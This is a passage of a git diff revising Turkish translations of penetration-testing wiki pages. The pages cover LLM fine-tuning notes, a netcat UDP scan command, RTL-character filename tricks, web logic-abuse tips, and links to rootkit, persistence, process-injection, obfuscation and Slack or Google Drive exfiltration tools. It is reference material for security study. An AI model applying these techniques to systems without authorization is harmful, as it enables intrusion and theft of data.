beklenen çıktıları gruplamak gereklid - Metinleri tokenleştirin - Tüm örnekleri aynı uzunluğa (genellikle uzunluk, LLM'yi önceden eğitmek için kullanılan bağlam uzunluğu kadar büyük olacaktır) doldurun -- Özel bir collate fonksiyonunda girişi 1 kaydırarak beklenen tokenleri oluşturun +- Özel bir toplama fonksiyonunda girişi 1 kaydırarak beklenen tokenleri oluşturun - Eğitim kaybından hariç tutmak için bazı doldurma tokenlerini -100 ile değiştirin: İlk `endoftext` tokeninden sonra, diğer tüm `endoftext` tokenlerini -100 ile değiştirin (çünkü `cross_entropy(...,ignore_index=-100)` kullanmak, -100 olan hedefleri yok sayacağı anlamına gelir) -- \[Opsiyonel\] LLM'nin yalnızca yanıtı nasıl üreteceğini öğrenmesi için soruya ait tüm tokenleri -100 ile maskeleyin. Uygulama Alpaca tarzında bu, `### Response:`'a kadar her şeyi maskelemek anlamına gelecektir. +- \[Opsiyonel\] LLM'nin yalnızca yanıtı nasıl üreteceğini öğrenmesi için soruya ait tüm tokenleri -100 ile maskeleyin. Alpaca stilinde bu, `### Response:`'a kadar her şeyi maskelemek anlamına gelecektir. Bunu oluşturduktan sonra, her veri seti (eğitim, doğrulama ve test) için veri yükleyicilerini oluşturma zamanı. -## Önceden Eğitilmiş LLM'yi Yükle & İnce Ayar Yap & Kayıp Kontrolü +## Load pre-trained LLM & Fine tune & Loss Checking -İnce ayar yapmak için önceden eğitilmiş bir LLM yüklemek gereklidir. Bu, diğer sayfalarda zaten tartışılmıştır. Sonra, LLM'yi ince ayar yapmak için daha önce kullanılan eğitim fonksiyonunu kullanmak mümkündür. +Bir önceden eğitilmiş LLM'yi ince ayar yapmak için yüklemek gereklidir. Bu, diğer sayfalarda zaten tartışılmıştır. Sonra, LLM'yi ince ayar yapmak için daha önce kullanılan eğitim fonksiyonunu kullanmak mümkündür. Eğitim sırasında, eğitim kaybı ve doğrulama kaybının epochlar boyunca nasıl değiştiğini görmek de mümkündür; böylece kaybın azalıp azalmadığını ve aşırı uyumun olup olmadığını görebilirsiniz.\ Aşırı uyum, eğitim kaybı azalırken doğrulama kaybının azalmadığı veya hatta arttığı durumlarda meydana gelir. Bunu önlemek için, bu davranışın başladığı epoch'ta eğitimi durdurmak en basit şeydir. -## Yanıt Kalitesi +## Response Quality -Bu, kayıp değişimlerine daha fazla güvenilebilecek bir sınıflandırma ince ayarı olmadığı için, test setindeki yanıtların kalitesini kontrol etmek de önemlidir. Bu nedenle, tüm test setlerinden üretilen yanıtları toplamak ve **kalitelerini manuel olarak kontrol etmek** önerilir; böylece yanlış yanıtlar olup olmadığını görebilirsiniz (LLM'nin yanıt cümlesinin formatını ve sözdizimini doğru bir şekilde oluşturması mümkün, ancak tamamen yanlış bir yanıt vermesi de mümkündür. Kayıp değişimi bu davranışı yansıtmayacaktır).\ -Bu incelemeyi, üretilen yanıtları ve beklenen yanıtları **diğer LLM'lere geçirerek yanıtları değerlendirmelerini istemek** yoluyla da gerçekleştirmek mümkündür. +Bu, kayıp değişimlerine daha fazla güvenilebilecek bir sınıflandırma ince ayarı olmadığı için, test setindeki yanıtların kalitesini kontrol etmek de önemlidir. Bu nedenle, tüm test setlerinden üretilen yanıtları toplamak ve **kalitelerini manuel olarak kontrol etmek** önerilir; böylece yanlış yanıtlar olup olmadığını görebilirsiniz (LLM'nin yanıt cümlesinin formatını ve sözdizimini doğru bir şekilde oluşturması ancak tamamen yanlış bir yanıt vermesi mümkündür. Kayıp değişimi bu davranışı yansıtmayacaktır).\ +Ayrıca, üretilen yanıtları ve beklenen yanıtları **diğer LLM'lere geçirerek yanıtları değerlendirmelerini istemek** de mümkündür. Yanıtların kalitesini doğrulamak için çalıştırılacak diğer testler: -1. **Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU, bir modelin bilgi ve problem çözme yeteneklerini 57 konu üzerinden değerlendirir; beşeri bilimler, bilimler ve daha fazlasını içerir. Farklı zorluk seviyelerinde anlayışı değerlendirmek için çoktan seçmeli sorular kullanır. +1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU, bir modelin bilgi ve problem çözme yeteneklerini 57 konu üzerinden değerlendirir; beşeri bilimler, bilimler ve daha fazlasını içerir. Farklı zorluk seviyelerinde anlayışı değerlendirmek için çoktan seçmeli sorular kullanır. 2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Bu platform, kullanıcıların farklı chatbotlardan gelen yanıtları yan yana karşılaştırmalarına olanak tanır. Kullanıcılar bir istem girer ve birden fazla chatbot, doğrudan karşılaştırılabilen yanıtlar üretir. -3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval, gelişmiş bir LLM olan GPT-4'ün diğer modellerin çeşitli istemlere verdiği yanıtları değerlendirdiği otomatik bir değerlendirme çerçevesidir. +3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval, gelişmiş bir LLM'nin (örneğin GPT-4) diğer modellerin çeşitli istemlere verdiği yanıtları değerlendirdiği otomatik bir değerlendirme çerçevesidir. 4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE, duygu analizi, metin çıkarımı ve soru yanıtlama gibi dokuz doğal dil anlama görevinden oluşan bir koleksiyondur. -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE'ya dayanarak, SuperGLUE mevcut modeller için zorlayıcı olan daha zorlu görevleri içerir. +5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE'ya dayanarak, SuperGLUE mevcut modeller için zorlayıcı olan daha zorlu görevler içerir. 6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench, bir modelin akıl yürütme, çeviri ve soru yanıtlama gibi alanlardaki yeteneklerini test eden 200'den fazla görev içeren büyük ölçekli bir benchmark'tır. 7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM, doğruluk, sağlamlık ve adalet gibi çeşitli metrikler üzerinden kapsamlı bir değerlendirme sağlar. -8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI tarafından geliştirilen, AI modellerinin özel ve standartlaştırılmış görevlerde test edilmesine olanak tanıyan açık kaynaklı bir değerlendirme çerçevesidir. +8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI tarafından geliştirilen açık kaynaklı bir değerlendirme çerçevesidir; AI modellerinin özel ve standartlaştırılmış görevlerde test edilmesine olanak tanır. 9. [**HumanEval**](https://github.com/openai/human-eval)**:** Dil modellerinin kod üretme yeteneklerini değerlendirmek için kullanılan bir dizi programlama problemi. -10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD, modellerin doğru yanıt vermek için metni anlaması gereken Wikipedia makaleleri hakkında sorulardan oluşur. -11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Trivia soruları ve yanıtları ile birlikte kanıt belgelerinden oluşan büyük ölçekli bir veri seti. +10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD, modellerin metni anlaması gereken Wikipedia makaleleri hakkında sorulardan oluşur. +11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Trivia soruları ve cevapları ile birlikte kanıt belgelerinden oluşan büyük ölçekli bir veri seti. -ve daha birçokları +ve daha birçok şey -## Talimatları Takip Etme İnce Ayar Kodu +## Follow instructions fine-tuning code Bu ince ayarı gerçekleştirmek için kod örneğini [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) adresinde bulabilirsiniz. -## Referanslar +## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md index d2ec91538..6e3f54524 100644 --- a/src/todo/llm-training-data-preparation/README.md +++ b/src/todo/llm-training-data-preparation/README.md @@ -22,7 +22,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 2. Veri Örnekleme > [!TIP] -> Bu ikinci aşamanın amacı çok basit: **Girdi verisini örneklemek ve genellikle belirli bir uzunluktaki cümlelere ayırarak eğitim aşamasına hazırlamak ve ayrıca beklenen yanıtı üretmek.** +> Bu ikinci aşamanın amacı çok basit: **Girdi verilerini örneklemek ve genellikle belirli bir uzunluktaki cümlelere ayırarak eğitim aşamasına hazırlamak ve ayrıca beklenen yanıtı üretmek.** {{#ref}} 2.-data-sampling.md @@ -82,7 +82,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 7.1. Sınıflandırma için İnce Ayar > [!TIP] -> Bu bölümün amacı, zaten önceden eğitilmiş bir modeli ince ayar yapmayı göstermektir, böylece yeni metin oluşturmak yerine LLM, **verilen metnin her bir verilen kategoriye sınıflandırılma olasılıklarını** seçecektir (örneğin, bir metnin spam olup olmadığını). +> Bu bölümün amacı, zaten önceden eğitilmiş bir modeli ince ayar yapmayı göstermektir, böylece yeni metin oluşturmak yerine LLM, **verilen metnin her bir verilen kategoriye sınıflandırılma olasılıklarını** seçecektir (örneğin, bir metnin spam olup olmadığını belirlemek). {{#ref}} 7.1.-fine-tuning-for-classification.md @@ -91,7 +91,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 7.2. Talimatları Takip Etmek için İnce Ayar > [!TIP] -> Bu bölümün amacı, **metin oluşturmak yerine talimatları takip etmek için zaten önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir, örneğin, bir sohbet botu olarak görevlere yanıt vermek. +> Bu bölümün amacı, **metin oluşturmak yerine talimatları takip etmek için zaten önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir, örneğin, bir sohbet botu olarak görevlere yanıt vermek. {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md diff --git a/src/todo/misc.md b/src/todo/misc.md index 84d6dc237..59b86d9d8 100644 --- a/src/todo/misc.md +++ b/src/todo/misc.md @@ -3,22 +3,22 @@ Bir ping yanıtında TTL:\ 127 = Windows\ 254 = Cisco\ -Diğerleri, bazılinux +Diğerleri, bazı linux $1$- md5\ -$2$veya $2a$ - Blowfish\ +$2$ veya $2a$ - Blowfish\ $5$- sha256\ $6$- sha512 Bir hizmetin arkasında ne olduğunu bilmiyorsanız, bir HTTP GET isteği yapmayı deneyin. -**UDP Tarama**\ +**UDP Taramaları**\ nc -nv -u -z -w 1 \ 160-16 Boş bir UDP paketi belirli bir porta gönderilir. Eğer UDP portu açıksa, hedef makineden geri bir yanıt gönderilmez. Eğer UDP portu kapalıysa, hedef makineden bir ICMP port ulaşılamaz paketi gönderilmelidir.\ UDP port taraması genellikle güvenilir değildir, çünkü güvenlik duvarları ve yönlendiriciler ICMP\ -paketlerini düşürebilir. Bu, taramanızda yanlış pozitiflere yol açabilir ve taranan bir makinede tüm UDP portlarının açık olduğunu gösteren UDP port taramaları görebilirsiniz.\ +paketlerini düşürebilir. Bu, taramanızda yanlış pozitiflere yol açabilir ve taranan bir makinede tüm UDP portlarının açık olduğunu gösteren UDP port taramaları göreceksiniz.\ Çoğu port tarayıcı tüm mevcut portları taramaz ve genellikle taranan "ilginç portlar" için önceden ayarlanmış bir listeye sahiptir. # CTF - Hileler @@ -51,6 +51,6 @@ Snow --> Mesajları boşluklar ve sekmeler kullanarak gizle # Karakterler -%E2%80%AE => RTL Karakteri (yükleme verilerini ters yazar) +%E2%80%AE => RTL Karakteri (yükleme dosyalarını ters yazar) {{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/more-tools.md b/src/todo/more-tools.md index 981a548ea..4187be1f4 100644 --- a/src/todo/more-tools.md +++ b/src/todo/more-tools.md @@ -53,7 +53,7 @@ - [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burp eklentisi, alanları, alt alanları ve IP'leri keşfetmek için çevrimdışı analiz - [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Farklı araçların listesi - [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Açıkları bulmak için BurpSuite Eklentisi (SQLi, XSS, SSTI) -- [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Post-mesaj fonksiyonlarını izlemek için Chrome eklentisi +- [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Post-mesaj fonksiyonlarını izlemek için Chrome uzantısı - [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Otomatik kimlik doğrulama testleri (çerezleri kaldır ve isteği göndermeyi dene) - [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross, Penetrasyon / BugBounty testleri için bir Yeniden Yapılandırma, Tarayıcı ve araçtır. Bu araç (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) açıklarını test etmek için oluşturulmuştur. @@ -64,7 +64,7 @@ - [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Süreklilik - [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windows Süreç Enjeksiyon teknikleri - [https://github.com/BankSecurity/Red_Team](https://github.com/BankSecurity/Red_Team) : Kırmızı Ekip betikleri -- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : Active Directory Grup Politikasındaki güvenlikle ilgili yanlış yapılandırmaları bul. +- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : Active Directory Grup Politikasında güvenlikle ilgili yanlış yapılandırmaları bul. - [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestring obfuscation - [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Ebeveyn PID Sahteciliği - [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Powershell yüklerini şifrele @@ -75,7 +75,7 @@ # Firmware -Araştırmak için kullanışlı olabilecek araçlar (otomatik): +Araçlar, firma analiz etmek için hoşuma giden (otomatik): - [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker) - [https://github.com/fkie-cad/FACT_core](https://github.com/fkie-cad/FACT_core) @@ -102,18 +102,18 @@ Firmware emülasyonu: FIRMADYNE (https://github.com/firmadyne/firmadyne/) Linux - [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw) - [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Statik kod analizi - [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF -- [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : Sürekli bir afiş gönderen SSH tarpit. +- [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : Sürekli bir banner gönderen SSH tarpit. - AWS ve Bulut araçları: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) -- Phishing için IFS (Interplanetary File System): [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/) +- IFS (Interplanetary File System) için phishing: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/) - IP döndürme hizmetleri: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212) - Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit) - [https://theia-ide.org/](https://theia-ide.org) : Çevrimiçi IDE - [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : BugBounties'e başlamak için kaynaklar - [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS pentesting araçları - [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Anahtar kelimeler -- [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoT'yi hackleme (Wifi, BLE, SSDP, MDNS) +- [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoT'yi hacklemek (Wifi, BLE, SSDP, MDNS) - [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : taramayı otomatikleştirme -- [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Bu liste Electron.js güvenlik ile ilgili konuları kapsamayı amaçlamaktadır. +- [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Bu liste, Electron.js güvenlik ile ilgili konuları kapsamayı amaçlamaktadır. - [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BB programları hakkında bilgi diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md index 241daa1a6..30d57d923 100644 --- a/src/todo/other-web-tricks.md +++ b/src/todo/other-web-tricks.md @@ -12,11 +12,11 @@ Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığ ### Oturum boolean'ları Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliğine "True" değeriyle bir boolean ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\ -Ancak, eğer **kontrolden geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **erişim izniniz olmaması gereken** ancak **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **erişim izniniz olmaması gereken** ancak **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### Kayıt işlevselliği -Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok sayıda boşluk ve Unicode) kullanmayı da deneyin. +Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Ayrıca eşdeğer karakterler (nokta, çok sayıda boşluk ve Unicode) kullanmayı da deneyin. ### E-postaları ele geçirme diff --git a/src/todo/post-exploitation.md b/src/todo/post-exploitation.md index e99cfecdd..5bca2722e 100644 --- a/src/todo/post-exploitation.md +++ b/src/todo/post-exploitation.md @@ -8,9 +8,9 @@ ## **Dış Hizmetler** - [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Bu Modül, bir erişim belirteci kullanarak Confluence API'sine bağlanacak, PDF'ye aktaracak ve hedefin erişim sağladığı Confluence belgelerini indirecektir. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Hedefin erişim sağladığı Google Drive'dan dosyaları dışarı aktarmak için bir Kırmızı Ekip aracıdır. Bu, tüm paylaşılan dosyaları, paylaşılan sürümlerden tüm dosyaları ve hedefin erişim sağladığı alan sürümlerinden tüm dosyaları içerir. +- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Hedefin erişim sağladığı Google Drive'dan dosyaları dışarı aktarmak için bir Kırmızı Ekip aracıdır. Bu, tüm paylaşılan dosyaları, paylaşılan sürülerden tüm dosyaları ve hedefin erişim sağladığı alan sürülerinden tüm dosyaları içerir. - [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Erişim sağladığınız hedef organizasyonun Google Kişiler Dizini'ni dışarı aktarmak için bir Kırmızı Ekip aracıdır, Google'ın Kişiler API'si aracılığıyla. - [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Bu, bir erişim belirteci verildiğinde bir Slack çalışma alanından 'ilginç' bilgileri çıkarmak için yerel Slack API'lerini kullanan Python'da geliştirilmiş bir araçtır. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound, kırmızı ve mavi ekiplerin bir Slack çalışma alanı/organizasyonu hakkında hızlıca keşif yapmalarını sağlayan bir komut satırı aracıdır. Slackhound, bir organizasyonun kullanıcılarını, dosyalarını, mesajlarını vb. hızlı bir şekilde aratılabilir hale getirir ve büyük nesneler çevrimdışı inceleme için CSV'ye yazılır. +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound, kırmızı ve mavi ekiplerin bir Slack çalışma alanı/organizasyonunu hızlı bir şekilde keşfetmelerini sağlamak için bir komut satırı aracıdır. Slackhound, bir organizasyonun kullanıcılarını, dosyalarını, mesajlarını vb. hızlı bir şekilde aratılabilir hale getirir ve büyük nesneler çevrimdışı inceleme için CSV'ye yazılır. {{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md index 22db966a2..5789c4ca5 100644 --- a/src/todo/radio-hacking/fissure-the-rf-framework.md +++ b/src/todo/radio-hacking/fissure-the-rf-framework.md @@ -2,7 +2,7 @@ **Frekansa Bağlı Olmayan SDR Tabanlı Sinyal Anlama ve Tersine Mühendislik** -FISSURE, sinyal tespiti ve sınıflandırması, protokol keşfi, saldırı yürütme, IQ manipülasyonu, zafiyet analizi, otomasyon ve AI/ML için kancalarla tasarlanmış, tüm beceri seviyeleri için açık kaynaklı bir RF ve tersine mühendislik çerçevesidir. Çerçeve, yazılım modüllerinin, radyoların, protokollerin, sinyal verilerinin, betiklerin, akış grafiklerinin, referans materyallerinin ve üçüncü taraf araçların hızlı entegrasyonunu teşvik etmek için inşa edilmiştir. FISSURE, yazılımı tek bir konumda tutan ve ekiplerin belirli Linux dağıtımları için aynı kanıtlanmış temel yapılandırmayı paylaşırken hızla uyum sağlamasını sağlayan bir iş akışı sağlayıcısıdır. +FISSURE, sinyal tespiti ve sınıflandırması, protokol keşfi, saldırı yürütme, IQ manipülasyonu, zafiyet analizi, otomasyon ve AI/ML için kancalarla tasarlanmış, tüm beceri seviyeleri için açık kaynaklı bir RF ve tersine mühendislik çerçevesidir. Çerçeve, yazılım modüllerinin, radyoların, protokollerin, sinyal verilerinin, betiklerin, akış grafiklerinin, referans materyallerin ve üçüncü taraf araçların hızlı entegrasyonunu teşvik etmek için inşa edilmiştir. FISSURE, yazılımı tek bir yerde tutan ve ekiplerin belirli Linux dağıtımları için aynı kanıtlanmış temel yapılandırmayı paylaşırken hızla uyum sağlamasını sağlayan bir iş akışı etkinleştiricisidir. FISSURE ile birlikte gelen çerçeve ve araçlar, RF enerjisinin varlığını tespit etmek, bir sinyalin özelliklerini anlamak, örnekler toplamak ve analiz etmek, iletim ve/veya enjeksiyon teknikleri geliştirmek ve özel yükler veya mesajlar oluşturmak için tasarlanmıştır. FISSURE, tanımlama, paket oluşturma ve fuzzing konusunda yardımcı olmak için büyüyen bir protokol ve sinyal bilgisi kütüphanesi içerir. Sinyal dosyalarını indirmek ve trafik simüle etmek ve sistemleri test etmek için çalma listeleri oluşturmak için çevrimiçi arşiv yetenekleri mevcuttur. @@ -23,7 +23,7 @@ Kullanıcı dostu Python kod tabanı ve kullanıcı arayüzü, yeni başlayanlar FISSURE içinde dosya navigasyonunu kolaylaştırmak ve kod tekrarını azaltmak için üç dal bulunmaktadır. Python2\_maint-3.7 dalı, Python2, PyQt4 ve GNU Radio 3.7 etrafında inşa edilmiş bir kod tabanı içerir; Python3\_maint-3.8 dalı, Python3, PyQt5 ve GNU Radio 3.8 etrafında inşa edilmiştir; ve Python3\_maint-3.10 dalı, Python3, PyQt5 ve GNU Radio 3.10 etrafında inşa edilmiştir. | İşletim Sistemi | FISSURE Dalı | -| :------------------: | :--------------: | +| :------------------: | :----------------: | | Ubuntu 18.04 (x64) | Python2\_maint-3.7 | | Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 | | Ubuntu 18.04.6 (x64) | Python2\_maint-3.7 | @@ -58,7 +58,7 @@ Sonra, işletim sisteminize en uygun seçeneği seçin (eğer işletim sistemini | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | | ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) | -FISSURE'ı mevcut çatışmaları önlemek için temiz bir işletim sistemine kurmanız önerilir. FISSURE içindeki çeşitli araçları çalıştırırken hatalardan kaçınmak için tüm önerilen onay kutularını seçin (Varsayılan buton). Kurulum boyunca, çoğunlukla yükseltilmiş izinler ve kullanıcı adları isteyen birden fazla istem olacaktır. Bir öğe sonunda "Doğrula" bölümü içeriyorsa, yükleyici, takip eden komutu çalıştıracak ve komut tarafından herhangi bir hata üretilip üretilmediğine bağlı olarak onay kutusu öğesini yeşil veya kırmızı olarak vurgulayacaktır. "Doğrula" bölümü olmayan onaylı öğeler kurulumdan sonra siyah kalacaktır. +FISSURE'ı mevcut çatışmaları önlemek için temiz bir işletim sistemine kurmanız önerilir. FISSURE içindeki çeşitli araçları çalıştırırken hatalardan kaçınmak için tüm önerilen onay kutularını seçin (Varsayılan düğme). Kurulum boyunca, çoğunlukla yükseltilmiş izinler ve kullanıcı adları isteyen birden fazla istem olacaktır. Bir öğe sonunda "Doğrula" bölümü içeriyorsa, yükleyici, takip eden komutu çalıştıracak ve komut tarafından herhangi bir hata üretilip üretilmediğine bağlı olarak onay kutusu öğesini yeşil veya kırmızı olarak vurgulayacaktır. "Doğrula" bölümü olmayan onaylı öğeler kurulumdan sonra siyah kalacaktır. ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png) @@ -78,7 +78,7 @@ FISSURE Yardım menüsüne kullanım detayları için başvurun. * Merkezi Hub (HIPRFISR) * Hedef Sinyal Tanımlama (TSI) * Protokol Keşfi (PD) -* Akış Grafiği & Script Yürütücü (FGE) +* Akış Grafiği & Script Yürütücüsü (FGE) ![components](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/components.png) @@ -139,19 +139,19 @@ FISSURE'ı geliştirmek için öneriler şiddetle teşvik edilmektedir. Aşağı * Python'da IQ analiz scriptleri * Kurulum düzeltmeleri ve iyileştirmeleri -FISSURE'ı geliştirmek için katkılar, gelişimini hızlandırmak açısından kritik öneme sahiptir. Yaptığınız her katkı büyük takdirle karşılanır. Kod geliştirme yoluyla katkıda bulunmak isterseniz, lütfen repoyu fork edin ve bir pull request oluşturun: +FISSURE'ı geliştirmek için katkılar, gelişimini hızlandırmak açısından kritik öneme sahiptir. Yaptığınız katkılar büyük takdir edilmektedir. Kod geliştirme yoluyla katkıda bulunmak isterseniz, lütfen repoyu fork edin ve bir pull request oluşturun: 1. Projeyi fork edin 2. Özellik dalınızı oluşturun (`git checkout -b feature/AmazingFeature`) 3. Değişikliklerinizi kaydedin (`git commit -m 'Add some AmazingFeature'`) -4. Dala itme yapın (`git push origin feature/AmazingFeature`) +4. Dalınıza push edin (`git push origin feature/AmazingFeature`) 5. Bir pull request açın Hatalara dikkat çekmek için [Sorunlar](https://github.com/ainfosec/FISSURE/issues) oluşturmak da memnuniyetle karşılanır. ## İşbirliği -FISSURE işbirliği fırsatlarını önermek ve resmileştirmek için Assured Information Security, Inc. (AIS) İş Geliştirme ile iletişime geçin; bu, yazılımınızı entegre etmek için zaman ayırmak, AIS'teki yetenekli kişilerin teknik zorluklarınız için çözümler geliştirmesi veya FISSURE'ı diğer platformlara/uygulamalara entegre etmek olabilir. +FISSURE işbirliği fırsatlarını önermek ve resmileştirmek için Assured Information Security, Inc. (AIS) İş Geliştirme ile iletişime geçin – bu, yazılımınızı entegre etmek için zaman ayırmak, AIS'teki yetenekli kişilerin teknik zorluklarınız için çözümler geliştirmesi veya FISSURE'ı diğer platformlara/uygulamalara entegre etmek olabilir. ## Lisans diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md index 8fcdcf34a..8d885576c 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md +++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -2,6 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} + ## Giriş 125kHz etiketlerinin nasıl çalıştığı hakkında daha fazla bilgi için kontrol edin: @@ -16,10 +17,10 